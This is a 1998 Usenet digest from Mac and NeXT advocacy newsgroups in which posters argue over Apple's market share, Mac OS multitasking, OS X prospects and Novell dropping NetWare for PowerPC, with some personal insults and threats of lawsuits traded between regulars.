> > step, since it would also have a much larger code base to draw from.
>
> Limiting a desktop/laptop UI to that of a palmtop/PDA unit LCD is moronic.
Hey Andy--why don't you threaten to sue him?
I misquoted him once by mistake and even said "IIRC" and the threatened to
sue me _twice_.
His calling you a moron ought to be worth at least half a million dollars.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 27 Jul 1998 06:37:15 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2707980637150001@elk49.dol.net>
References: <35bbcc48.0@news.depaul.edu> <B1E14963-127A3@206.165.43.43>
In article <B1E14963-127A3@206.165.43.43>, "Lawson English"
<english@primenet.com> wrote:
> A couple of points:
>
> 1) Apple ONLY sells through CompUSA and Mac-only stores, last I heard. Frys
> no longer carries Macs unless things have changed drastically.
You heard wrong. There are a lot of places selling Macs, although not as
many as before.
>
> 2) The comparison was for retail sales. Given that Apple only sells through
> CompUSA and Mac-only stores (how do they add up the figures for the
> Mac-only stores, BTW?), the comparison is for those companies that sell
> through retail outlets.
Right. The story was for total U.S. retail sales. It's possible that
they're including mail order catalogs (as opposed to direct from the
manufacturer), but I don't know.
>
> The claim is that Apple now has nearly 10% of that market.
>
> Doesn't make sense.
Take it up with PC Data.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: holger@object-factory.REMOVETHIS.com (Holger Hoffstaette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Q: NEXT tech, MacOS X & Industry Challenges
Date: 27 Jul 1998 10:34:10 GMT
Organization: the secret circle of the NSRC
Message-ID: <6phl32$gda$5@leonie.object-factory.com>
References: <uPDu1.32112$Bw1.855898@news.san.rr.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
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"Ed Deans." wrote:
> (many depressing but true points snipped)
> I wonder what the rest of you think.
Give the people what they want.
Date: Mon, 27 Jul 1998 07:38:02 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2707980738020001@wil67.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <Pine.NXT.3.96.980724125137.20132J-100000@pathos> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <6pbko2$jvn$1@news.xmission.com> <joe.ragosta-2507980655350001@elk43.dol.net> <6pd4gp$a9d$1@news.xmission.com> <joe.ragosta-2507981921450001@elk82.dol.net> <6pdtb7$kif$1@news.xmission.com> <invid-ya02408000R2507982240580001@enews.newsguy.com> <35BACB95.D3158B5B@planetary.net>
In article <35BACB95.D3158B5B@planetary.net>, "[the emperor]"
<emperor@planetary.net> wrote:
> Invid fan wrote:
> >
> > In article <6pdtb7$kif$1@news.xmission.com>, Kristofer Jon Magnusson
> > <kris@xmission.xmission.com> wrote:
>
> Some stuff.
>
> > He's asking you to provide those facts, as you seem to know something he
> > dosen't. Without those facts, there's no reason to believe you.
>
> I am asking him to provide those facts, as Joe is claiming to know
> something that directly contradicts what really happened. Without those
> facts, there's no reason to believe Joe.
Nonsense. What happened is that Novell dropped Netware for PPC. That fact
isn't in dispute.
Now, ordinarily, one would assume that it was Novell's decision. The
people who are arguing that it's all because of Apple have the burden of
proof here.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Date: 27 Jul 1998 05:45:04 GMT
Organization: University of Maryland, College Park
Message-ID: <6ph450$4ul$1@hecate.umd.edu>
References: <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net> <6padmi$91m$1@server.signat.org> <gmgraves-2407981733370001@sf-usr1-29-157.dialup.slip.net> <joe.ragosta-2407982232540001@elk55.dol.net>
Joe Ragosta (joe.ragosta@dol.net) wrote:
: gmgraves@slip.net (George Graves) wrote:
: > In article <6padmi$91m$1@server.signat.org>, maury@remove_this.istar.ca
: > (Maury Markowitz) wrote:
: >
: > > In <joe.ragosta-2407981107010001@wil63.dol.net> Joe Ragosta wrote:
: > > > AIM set up a team to develop a new series of processors. Someone stated
: > > > that they claimed they were going to have 10% of the CPU market. I don't
: > > > remember that, but let's say it's true.
: > >
: > > According to Rumors Apple has 9% of the market again, so it's almost true.
: >
: > Yes Apple now has 9.4% marketshare for this past quarter and has risen to
: > the number 5 spot in unit shipments. But the Mac OS is still at 3% and not
: > growing a lick. This means that Apple is STILL selling to the choir only.
: Your statement is wrong.
: Apple's _retail_ market share is over 9%. It's _overall_ share is around
: 4%. I don't know where you came up with a 3% figure.
The Q1 1998 worldwide shipment figures. divide 650,000 into 21 Million
units, and you get 3.1%
http://gartner11.gartnerweb.com/dq/static/about/press/pr-b9816.html
: --
: Regards,
: Joe Ragosta
: See the Complete Macintosh Advocacy Page
: http://www.dol.net/~Ragosta/complmac.htm
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-K8NflSdrQPZD@localhost>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
References: <joe.ragosta-2007982116060001@elk57.dol.net> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <not-2307981301280001@ip-167-019.phx.primenet.com> <mcox-ya02408000R2407982314330001@newsource.ihug.co.nz> <not-2407981312520001@ip-26-162.phx.primenet.com> <mcox-ya02408000R2507981113400001@newsource.ihug.co.nz> <35b9372a.0@news.depaul.edu> <Josh.McKee-2507981112520001@pm3a7.rmac.net> <MPG.10245dd0ac5433b4989a06@news.supernews.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 26 Jul 1998 18:58:21 GMT
Organization: IBM.NET
On Sun, 26 Jul 1998 03:26:09, don.brown@cesoft.com (Donald Brown)
thought aloud:
> In article <Josh.McKee-2507981112520001@pm3a7.rmac.net>,
> Josh.McKee@cbns.com says...
> > > That's not a marketing deadline. That's a survival deadline. If Apple
> > > doesn't ship it, they're dead. Period. No waffling is allowed.
> >
> > Why is it a survival deadline?
> >
> After an embarrassing collection of missed deadlines, blown projects,
> etc., Apple finally is looking like, and more important is viewed as, a
> company with its act together. As part of this resurgent image, is a
> great new OS.
>
> If Apple blows this chance, I'm not sure they've got another one. They
> may be able to pull back, I wasn't sure they could come back from their
> last low point, but now the world is watching. If Apple doesn't ship OS
> X with really high quality with no more than a fiscal quarter slippage,
> they're in trouble.
So Apple's future is hanging in the balance of one quarter release
slippage of their planned upmarket OS which is only targeted for the
heavy-duty Mac users who are more than willing to upgrade their latest
systems, even if fully upgraded, every year or so? This heavy-duty
user crowd must be quite huge to carry that kind of weight,
considering that most PCI PowerMac users aren't even offered the OS
upgrade option. Does Apple take it for granted that all/majority of us
pre-G3 folks will be making success out of the Classic Mac OS updates
because that's all there is left now? Why are most Mac OS 8-capable
users still running System 7?
Oh well, perhaps Linux will rescue these "obsolete" PCI PowerMacs from
running the Classic Mac OS until they're ready to be disposed of.
It'll be rather sad not to be able to run YellowBox apps on a solid,
modern and native OS - but it sure ought to beat running rehashed
versions of the old buzzword-free Classic Mac OS and always buying
upgrades to apps and utilities that new Mac OS versions tend to break.
Here's to the future of all pre-G3 Powermac owners.... we've saved
Apple's bacon before and we'll sure keep saving it in the future if
just because masochism is sooo much fun.
Rgds,
--
taiQ
[this space is intentionally blank]
From: "Jeffrey S. Dutky" <dutky@bellatlantic.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sun, 26 Jul 1998 14:59:40 -0400
Organization: Bell Atlantic Internet Solutions
Message-ID: <35BB7C99.1C08@bellatlantic.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <slrn6rgr5c.39f.jason@jhste1.dyn.ml.org> <joe.ragosta-2407980808030001@wil49.dol.net> <35B88F92.F794FF48@nstar.net> <joe.ragosta-2407981108350001@wil63.dol.net> <35B8E0E1.7202D351@ericsson.com> <6pblj8$q9a$1@bunyip.cc.uq.edu.au> <gmgraves-2507981334580001@sf-usr1-25-153.dialup.slip.net> <35BA703E.6428D7F7@bellsouth.net> <6pecpn$abm$1@bunyip.cc.uq.edu.au> <35BB6EC5.A9EDB07A@bellsouth.net>
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Harrison Murchison wrote:
>
> If you don't see nothing wrong with having an Enteprise OS that
> supports only 2 processors then you've missed the boat. Hell you
> can get Linux to run on more processors at a miniscule fraction
> of the price?
Let's see, how many OTHER "enterprise OS's" historically have run
on multiple processor architectures:
IBM MVS: nope
DEC VMS: nope
Xenix: nope
Unix: yes
BSD: yes
There were others, but they largey fall into the "nope" category.
Historically, most businesses choose a single company for their
"enterprise computing" needs and then stuck with that company for
everything. This is why most of the large computer companies made
a vertical range of hardware (and even software) rather than just
one kind of product. (both IBM and DEC manufactured computers,
terminals, disk and tape drives, communications equipment, OS's,
compilers, and even provided programmer/analysts to build and
maintain you systsms. Further, this business model was not unique
to IBM and DEC) It's not that these companies couldn't find other
companies that made suitable products, (though they might have
told you that was the case) plenty of companies made perfectly
good terminals, modems, disk and tape drives, but clients didn't
usually feel like shopping around too much.
Companies don't want to use different types and brands of computer
today any more than they have in the past, except where there is a
pressing need for specialized hardware and software for a specific
task. (Hence, Apple maintains a lead in publishing, SGI in computer
graphics community, Cray and Convex held on for awhile in super
computing, etc.)
- Jeff Dutky
Date: Sun, 26 Jul 1998 15:39:24 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2607981539250001@elk62.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net>
In article <35BB5C55.720E1EDF@planetary.net>, "[the emperor]"
<emperor@planetary.net> wrote:
> Donald Brown wrote:
> >
> > The whole thing came from the statement that "Apple had something to do
> > with Novell dropping NetWare for PPC". Did Apple somehow lean on Novell
> > to have Novell stop NetWare? I don't think so. I'm willing to hear
> > otherwise, but I don't think so.
>
> I never saw anyone making the claim that "Apple leaned on Company Foo to
> stop making that PPC product." I tried to check, but most of the posts
> in this thread at my ISP have expired.
Come on. That was the entire argument that Michael Peck and (IIRC) John
Kheit were using. They're saying that it's Apple's fault that Novell
dropped Netware for PPC and IBM dropped OS/2 for PPC and so on.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Mon, 27 Jul 1998 07:37:08 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6phan4$hai$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <Josh.McKee-2407981748590001@pm3a13.rmac.net> <6pc954$8or$1@nnrp1.dejanews.com> <Josh.McKee-2507980917010001@pm3a23.rmac.net>
In article <Josh.McKee-2507980917010001@pm3a23.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> This claim was made a few weeks ago, and I disproved it. Specfically, the
> poster said the Mac couldn't perform Photoshop filters while downloading.
I never made the claim that the Mac didn't multitask during Photoshop filters.
I don't think that I've mentioned Photoshop even once.
> I hope you will agree that applying filters in Photoshop is a processor
> intensive task. As such, just because a task is processor intensive does
> not mean the Macs multitasking breaks.
I said that "Mac multitasking sucks will doing processor intensive tasks".
This statement is true. For example, while executing filters, Photoshop
periodicaly makes calls to WaitNextEvent (or GetNextEvent) to surrender the
CPU to other processes. Photoshop does not know how often it should do this.
Therefore, the responsiveness of scheduling will be too low if many CPU
intensive tasks are running or the scheduling inefficient if only one CPU
intensive task is running.
> As for responsiveness, the system was quite responsive...this on a Power
> Mac 8100/80.
You were only running one CPU intensive task. Launch twenty copies of
Photoshop, run a long filter in each and see if it is still as responsive.
Also see if the filters take 20x longer to complete.
> As I've said...it works better than most PC advocates give it credit for.
I give Mac OS multitasking the credit it is due.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sun, 26 Jul 1998 23:45:30 -0500
Organization: Cthulhu's Witness
Message-ID: <TheLidlessEyeTh-2607982345300001@digital-00-40.hou.neoworld.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com>
In article <6pglve$1i1$6@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
>>joe.ragosta@dol.net (Joe Ragosta) wrote:
>>> Sorry, I was wrong--it wasn't you. Which is why I said "IIRC" or "if I
>>> remember correctly".
>>>
>>> As for suing me and punishing me to the extent the law will allow, I'm LOL.
>>
>>As long as your my little bitch and do what I said, self mockery doesn't
>>concern me. As for trying me sparky. All I can say is if you try it one
>>more time, I'll do my best to educate as to all my possible remedies for any
>>further misrepresentations.
LOL.
Well, you've got your work cut out for you, so don't let us keep you, John.
Oh, be sure and fill us in on the details, won't you?
-el
--
Diplomacy: the fine art of saying "nice doggie" while you're looking for a rock.
"You further a terrible reputation for Macintosh loyalists everywhere."
- Tom Vilot (tjv at indra dot com)
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 27 Jul 1998 07:45:09 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6phb65$hnu$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6p0pif$bnq$1@nnrp1.dejanews.com> <6p2a6v$d0g$1@nntp6.u.washington.edu> <6p2uf0$a3m$1@nnrp1.dejanews.com> <6p30ts$r04$1@nntp6.u.washington.edu> <mazulauf-2407981051100001@grumpy.met.utah.edu> <MPG.10239d85c7aea4289899f7@news.supernews.com> <6pdaqn$po4$1@nnrp1.dejanews.com> <35ba36df.0@news.depaul.edu>
In article <35ba36df.0@news.depaul.edu>,
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> Perhaps you should try not believing everything you read. Especially
> when it involves marketing vaporware. It will make life much easier.
That's fine. I know now that I cannot trust Apple. Thanks for the tip.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Mon, 27 Jul 1998 07:56:38 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6phbrl$ibc$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981956290001@elk82.dol.net>
In article <joe.ragosta-2507981956290001@elk82.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In what way? Please be specific with unbiased evidence to back up your claim.
>
> Oh, you don't have any evidence? I didn't think so.
In the Mac OS, I cannot switch applications while another applications is
loading. In the Mac OS, writing to the null address causes a crash. These are
two pieces of evidence.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Mon, 27 Jul 1998 07:59:28 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6phc10$ibo$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <MPG.1024148b9fd31ab8989a01@news.supernews.com>
In article <MPG.1024148b9fd31ab8989a01@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> Because, in real life use, the effect on the user's ability to get his
> work done, is about as good for both MacOS and Win95. If there's a
> difference, the Win95 will probably be on top (I only say probably so I
> can weasel out if someone finds an exception). But, when those
> differences are perceivable to the user, the perceptible difference will
> be far less than the perceptible difference in quality of the UI and
> other design aspects.
But we where talking about multitasking. Myself, I find the total Windows 95
experience to be as good as the Mac OS experience but I can easily see how
someone might disagree.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Date: Mon, 27 Jul 1998 09:19:14 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: NT Takes Down the Navy, Sleep Well, America...
Message-ID: <joe.ragosta-2707980919140001@wil37.dol.net>
References: <6p2iih$6k3@bgtnsc03.worldnet.att.net> <6p2kcq$kht$2@supernews.com>
In article <6p2kcq$kht$2@supernews.com>, a l t e n ber@nashville.com
(delete spaces, spam trick) wrote:
> In the article, it says:
> "The PCs and server run NT 4.0 over a high-speed, fiber-optic LAN."
> "The Yorktown lost control of its propulsion system because its computers
> were unable to divide by the number zero, the memo said. The YorktownÂs
> Standard Monitoring Control System administrator entered zero into the data
> field for the Remote Data Base Manager program. That caused the database to
> overflow and crash all LAN consoles and miniature remote terminal units, the
> memo said."
>
> "If you understand computers, you know that a computer normally is immune to
> the character of the data it processes,Ä he wrote in the June U.S. Naval
> InstituteÂs Proceedings Magazine. "Your $2.95 calculator, for example, gives
> you a zero when you try to divide a number by zero, and does not stop
> executing the next set of instructions. It seems that the computers on the
> Yorktown were not designed to tolerate such a simple failure.Ä
>
> So here's the workaround for NT's bug:
> "The program administrators are trained to bypass a bad data field and change
> the value if such a problem occurs again, Atlantic Fleet officials said."
Oh, this is wonderful.
The computer doesn't work, so you have the operators manually doing the
things the computer should do. I guess it's the old MS job security system
at work again.
>
> Has anyone who has ever worked with a network of NEXTSTEP, or any other Unix
> machines, ever known it to go down because a database had a faulty value in
> one of its fields?
> --
> ======================================================================
> Lee Altenberg, Ph.D.
>
> Research Affiliate, Hawai`i Institute of Geophysics and Planetology
> University of Hawai`i at Manoa
> Office: Maui High Performance Computing Center
> 550 Lipoa Parkway, Suite 100, Kihei, Maui HI 96753
> Phone: (808) 879-5077 x 296 (work), (808) 879-5018 (fax)
> E-mail: a l t e n b e r@soc1.acpub.duke.edu (delete spaces, anti-spam tactic)
> Web: http://pueo.mhpcc.edu/~altenber/
> ======================================================================
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 27 Jul 1998 08:34:26 -0500
Organization: Prairie Group
Message-ID: <MPG.10263ddcbffc158f989a23@news.supernews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p39n6$654$1@lwnws01.ne.highway1.com> <joe.ragosta-2207980820060001@wil103.dol.net> <6p503r$b1o$1@lwnws01.ne.highway1.com> <joe.ragosta-2607980731370001@elk85.dol.net> <6pgha1$1i1$2@lwnws01.ne.highway1.com>
In article <6pgha1$1i1$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net
says...
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > In article <6p503r$b1o$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> > wrote:
> >
> > > joe.ragosta@dol.net (Joe Ragosta) wrote:
> >
> > > > The weaknesses in Mac OS are hardly equivalent to consistent
> > > > and severe violations of human rights.
> > >
> > > And you merely saying so just proves your point in your mind,
> > > I'm sure. The point is the principle may be applied orthogonally.
> > > Just because it doesn't suit your biased purpose, doesn't mean
> > > it aint so.
> >
> > No one in their right mind would consider minor weaknesses in a
> > computer platform to be the equivalent of wanton violations of
> > human rights. Just because you seem to think they're equivalent
> > doesn't make them so.
>
> Sparky, you just can't comprehend anything you read. The
> orthogonal point to make is, that human rights violations are
> unacceptable, yet they persist. Many other things are unacceptable
> and also persist. Especially when people don't know any better.
> It is unacceptable that the average car or manufacturing plant
> release pollutants that poison the air and exacerbate the greenhouse
> effect, yet it persists. It is unacceptable that the many people
> are ignorant, biased, and uneducated, yet the a great and substantial
> portion of the world population suffers from the above. The cars
> made by US companies were of unacceptably low quality, yet people
> just dealt with it. It's unacceptable that people support companies
> that do evil and harmful things, yet many do so everyday without
> thought. It is unacceptable that poor products are chosen over
> those of higher merit, yet that is done by many everyday. I was
> made a very extreme example hoping even a twit like you would see
> the point, but I was overly and unacceptably optimistic.
There may be many things we would consider unacceptable, but you choose
one of the most outrageous. Random chance? I don't believe so. People
choose outrageous examples to try to steal the moral reaction to them to
be used on a much lesser case. It's dishonest. But it does happen.
Furthermore, I'd disagree with some of your "unacceptables". The average
car does release some pollutants, granted, but we haven't found an
alternative that doesn't, and trying to force Americans to give up the
freedom a car gives you, THAT would be unacceptable.
But, there are some unacceptables you could have used. For example, the
personal abuse you've used in your posts are unacceptable. Yet, it
exists.
Donald
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 27 Jul 1998 08:40:29 -0500
Organization: Prairie Group
Message-ID: <MPG.10263f4470b1cb05989a24@news.supernews.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com>
In article <6pglve$1i1$6@lwnws01.ne.highway1.com>, jkheit@mediaone.net
says...
> As long as your my little bitch and do what I said, self mockery doesn't
> concern me. As for trying me sparky. All I can say is if you try it one
> more time, I'll do my best to educate as to all my possible remedies for any
> further misrepresentations.
>
Please, do take your case to your lawyer of Joe having said that you said
something stupid that you didn't say.
Lawyers need to laugh too.
Donald
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 27 Jul 1998 00:11:14 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35BC0BF2.95E5FC86@nstar.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net>
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NNTP-Posting-Date: 27 Jul 1998 05:21:24 GMT
Steve Sullivan wrote:
> Hey, thats not very nice Mr kheit. I know Joe can make one extremely
> exasperated, but do you have to resort to calling him your little bitch?
I'd say that if anyone could leash Ragosta and lead him around for show,
it would be John. I don't know that being "nice" has anything to do with
it, and at any rate, you should know better than to expect "nice" from
John Kheit. If anyone has a flair for brandishing four-letter weaponry,
I'd vote for John. Since it's so well-deserved in this case (heck, it's
well-deserved in my case) I think we all ought to give John a standing
ovation for his mastery of wrathful English.
MJP
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Q: NEXT tech, MacOS X & Industry Challenges
Date: 27 Jul 1998 13:54:57 GMT
Organization: Primenet (602)416-7000
